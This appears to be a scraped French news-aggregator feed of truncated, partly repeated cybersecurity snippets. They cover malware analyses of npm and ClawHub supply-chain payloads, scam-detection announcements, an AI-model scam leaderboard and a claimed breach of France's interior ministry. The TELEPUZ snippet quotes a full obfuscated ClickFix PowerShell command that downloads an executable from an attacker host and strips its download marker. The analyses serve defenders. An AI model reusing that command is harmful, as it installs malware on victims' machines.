Malware analysis
The following section will cover the technical analysis of the malware.
17 juil.
← Thèmes
🕵️
Cyber Arnaque
481 articles
How obfuscator.io hides the malware's code
Obfuscator.io is a powerful JavaScript obfuscator that protects your source code from theft and reverse engineering.
17 juil.
What files this malware steals from developer machines
This module performs a recursive file sweep targeting various documents and files from developer machines. On Windows, this module is more aggressive and has a larger blast radius, while on macOS/Linux, drive enumeration is skipped and it only targets home directories. Before scanning, the malware enumerates the mounted drives on the system using the following WMI query: wmic logicaldisk get name Next, the malware scans each collected root drive from the previous wmic query or the home directori
17 juil.
Expanding Scam Detection for Calls to Samsung Devices
To help protect you during phone calls, Scam Detection alerts you if a caller uses speech patterns commonly associated with fraud. We are bringing these protections to more of our users through new regional expansion and availability on new devices. Scam Detection for phone calls on Google Pixel devices is available in the US, UK, Australia, Canada, France, Germany, India, Ireland, Italy, Japan, Mexico, and Spain. Scam Detection is already helping millions of users to stay safe from scammers, an
17 juil.
Using the Best of Google AI to Set the Standard in Mobile Scam Protection
Android continues to set the standard in mobile scam protections by leveraging advanced AI to identify and intercept threats as they happen. As scammer’s strategies shift, we remain committed to developing equally adaptive and intelligent defenses. Our goal is to provide you with peace of mind so you can continue to connect and communicate with confidence, knowing our multi-layered defenses are there to help protect your financial and personal data against mobile scams. 1: This total comprises
17 juil.
The SCAM leaderboard
ModelOut of the Box± Avg Critical FailuresSkill± Avg Critical FailuresImprovementGemini 3 Flash75.6%2.199.3% 0.7+23.7Claude Opus 4.692.4%0.598.3% 0.2+5.9Claude Sonnet 449.4%1.798.1% 0.7+48.7Claude Haiku 4.565.5%5.497.8% 1.2+32.3GPT-5.281.0%1.496.6% 1.2+15.5GPT-4.137.9%2.496.2% 0.7+58.3Gemini 2.5 Flash34.9%3.494.8% 1.4+59.9GPT-4.1 Mini35.8%0.394.7% 2.9+58.8 The baseline rankings follow the pattern you'd expect: larger, more capable models score higher. But the skill rankings tell a different stor
17 juil.
Malware Analysis
The plain-crypto-js package serves as a payload delivery vehicle. The core component, SILKBELL, setup.js (SHA256: e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09), dynamically checks the target system's operating system upon execution to deliver platform-specific payloads. The script uses a custom XOR and Base64-based string obfuscation routine to conceal the command-and-control (C2 or C&C) URL and host OS execution commands. To evade static analysis, it dynamically loads fs, os
17 juil.
What I found: The top downloaded skill was a malware delivery vehicle
While browsing ClawHub (I won’t link it for obvious reasons), I noticed the top downloaded skill at the time was a “Twitter” skill. It looked normal: description, intended use, an overview, the kind of thing you’d expect to install without a second thought. But the very first thing it did was introduce a “required dependency” named “openclaw-core,” along with platform-specific install steps. Those steps included convenient links (“here”, “this link”) that appeared to be normal documentation poin
17 juil.
AI-powered scammers are flooding Americans with tough-to-spot phishing attacks
Phishing has been around for decades, but AI is helping attackers run more believable scams at higher volumes. People used to spot phishing attempts by their typos and shoddy graphic design, but with AI, it takes only minutes for a scammer to create a highly polished phishing email or website. As we mentioned, the best way to spot a phishing site in the age of AI is to check the URL, but only 25% of Americans in our survey said they hover over URLs before clicking them. Take-home lesson #1 Don’t
17 juil.
Une interface simple en trois parties
L'application FantomApp propose une interface simplifiée organisée en trois sections principales : « Problème » pour traiter les situations de cybersécurité (harcèlement, vol de données, arnaque), « Outils » offrant un test de mots de passe, un flouteur de photos et une analyse de visibilité des pseudonymes, et « Me sécuriser » avec des tutoriels pour cinq réseaux sociaux majeurs. L'application se distingue par son approche pédagogique avec captures d'écran et ne collecte aucune donnée personnelle, ne nécessitant pas d'inscription.
17 juil.
Une cyberattaque revendiquant 16 millions de données
Le 13 décembre, un groupe de cybercriminels se présentant sous le pseudonyme « Indra » a revendiqué sur BreachForums une cyberattaque majeure contre la France, affirmant avoir extrait 16 millions de données du ministère de l'Intérieur, notamment du système CHEOPS et de boîtes mail d'enquêteurs, incluant des antécédents judiciaires et données sensibles. Les attaquants ont fixé un ultimatum de 48 heures à l'État pour les contacter, menaçant de revendre ou publier les données en cas de non-réponse. Le ministère de l'Intérieur reste sceptique quant à l'authenticité de l'attaque, faute de preuves concrètes, mais traite la menace avec sérieux.
17 juil.
They'll probably get out in two years. The United Kingdom is badass bro wtf ransomware is basical...
They'll probably get out in two years. The United Kingdom is badass bro wtf ransomware is basically legal
HOLY. The two nerds from Scattered Spider got FIVE YEARS for profiting millions from ransomware ...
HOLY. The two nerds from Scattered Spider got FIVE YEARS for profiting millions from ransomware and, most notably, ransoming critical infrastructure in the United Kingdom. Dawg, move to the UK and do cyber crime. It's basically legal there. They don't even extradite you
TELEPUZ: a modular MaaS malware spreading via CLICKFIX-VIDAR chains
The infection chain begins with a ClickFix social engineering infection, in which the user visits a malicious web page and is prompted to copy and paste, then execute, a Windows shell command to access the page's content. C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -NoP -w h -ep bypass -c \ "$h='memsho'+'wblob[.]forum';$n='f322a5fa.exe';$u='https://'+$h+'/api/index.php?a=grab';\ $f=$env:TEMP+'\'+$n;[Net.WebClient]::new().('Down'+'loadFile')($u,$f);\ ri($f+':Zone.Identifier')-EA 0;
16 juil.
Malware Analysis
The plain-crypto-js package serves as a payload delivery vehicle. The core component, SILKBELL, setup.js (SHA256: e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09), dynamically checks the target system's operating system upon execution to deliver platform-specific payloads. The script uses a custom XOR and Base64-based string obfuscation routine to conceal the command-and-control (C2 or C&C) URL and host OS execution commands. To evade static analysis, it dynamically loads fs, os
16 juil.
The SCAM leaderboard
ModelOut of the Box± Avg Critical FailuresSkill± Avg Critical FailuresImprovementGemini 3 Flash75.6%2.199.3% 0.7+23.7Claude Opus 4.692.4%0.598.3% 0.2+5.9Claude Sonnet 449.4%1.798.1% 0.7+48.7Claude Haiku 4.565.5%5.497.8% 1.2+32.3GPT-5.281.0%1.496.6% 1.2+15.5GPT-4.137.9%2.496.2% 0.7+58.3Gemini 2.5 Flash34.9%3.494.8% 1.4+59.9GPT-4.1 Mini35.8%0.394.7% 2.9+58.8 The baseline rankings follow the pattern you'd expect: larger, more capable models score higher. But the skill rankings tell a different stor
16 juil.
What I found: The top downloaded skill was a malware delivery vehicle
While browsing ClawHub (I won’t link it for obvious reasons), I noticed the top downloaded skill at the time was a “Twitter” skill. It looked normal: description, intended use, an overview, the kind of thing you’d expect to install without a second thought. But the very first thing it did was introduce a “required dependency” named “openclaw-core,” along with platform-specific install steps. Those steps included convenient links (“here”, “this link”) that appeared to be normal documentation poin
16 juil.
AI-powered scammers are flooding Americans with tough-to-spot phishing attacks
Phishing has been around for decades, but AI is helping attackers run more believable scams at higher volumes. People used to spot phishing attempts by their typos and shoddy graphic design, but with AI, it takes only minutes for a scammer to create a highly polished phishing email or website. As we mentioned, the best way to spot a phishing site in the age of AI is to check the URL, but only 25% of Americans in our survey said they hover over URLs before clicking them. Take-home lesson #1 Don’t
16 juil.
Une cyberattaque revendiquant 16 millions de données
Le 13 décembre, un groupe de cybercriminels nommé « Indra » revendique sur BreachForums une cyberattaque massive contre le ministère de l'Intérieur français, affirmant avoir extrait plus de 16 millions de données sensibles du système CHEOPS et de boîtes mail d'enquêteurs, incluant antécédents judiciaires et données d'identification. Les attaquants exigent un contact de l'État sous 48 heures, menaçant de revendre ou publier les données, bien que le ministère doute de l'authenticité de l'attaque en l'absence de preuves concrètes.
16 juil.
Malware Analysis
The plain-crypto-js package serves as a payload delivery vehicle. The core component, SILKBELL, setup.js (SHA256: e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09), dynamically checks the target system's operating system upon execution to deliver platform-specific payloads. The script uses a custom XOR and Base64-based string obfuscation routine to conceal the command-and-control (C2 or C&C) URL and host OS execution commands. To evade static analysis, it dynamically loads fs, os
15 juil.
The SCAM leaderboard
ModelOut of the Box± Avg Critical FailuresSkill± Avg Critical FailuresImprovementGemini 3 Flash75.6%2.199.3% 0.7+23.7Claude Opus 4.692.4%0.598.3% 0.2+5.9Claude Sonnet 449.4%1.798.1% 0.7+48.7Claude Haiku 4.565.5%5.497.8% 1.2+32.3GPT-5.281.0%1.496.6% 1.2+15.5GPT-4.137.9%2.496.2% 0.7+58.3Gemini 2.5 Flash34.9%3.494.8% 1.4+59.9GPT-4.1 Mini35.8%0.394.7% 2.9+58.8 The baseline rankings follow the pattern you'd expect: larger, more capable models score higher. But the skill rankings tell a different stor
15 juil.
What I found: The top downloaded skill was a malware delivery vehicle
While browsing ClawHub (I won’t link it for obvious reasons), I noticed the top downloaded skill at the time was a “Twitter” skill. It looked normal: description, intended use, an overview, the kind of thing you’d expect to install without a second thought. But the very first thing it did was introduce a “required dependency” named “openclaw-core,” along with platform-specific install steps. Those steps included convenient links (“here”, “this link”) that appeared to be normal documentation poin
15 juil.
AI-powered scammers are flooding Americans with tough-to-spot phishing attacks
Phishing has been around for decades, but AI is helping attackers run more believable scams at higher volumes. People used to spot phishing attempts by their typos and shoddy graphic design, but with AI, it takes only minutes for a scammer to create a highly polished phishing email or website. As we mentioned, the best way to spot a phishing site in the age of AI is to check the URL, but only 25% of Americans in our survey said they hover over URLs before clicking them. Take-home lesson #1 Don’t
15 juil.
Une cyberattaque revendiquant 16 millions de données
Le 13 décembre, un groupe de cybercriminels revendiquant l'identité « Indra » a annoncé sur BreachForums avoir infiltré le système CHEOPS du ministère de l'Intérieur et extrait 16 millions de données sensibles incluant antécédents judiciaires, personnes recherchées et informations financières. Les attaquants exigent un contact de l'État sous 48 heures, menaçant de revendre ou publier les données en cas de non-réponse. Le ministère demeure prudent faute de preuves concrètes, bien que l'incident soit traité comme une menace sérieuse par les autorités.
15 juil.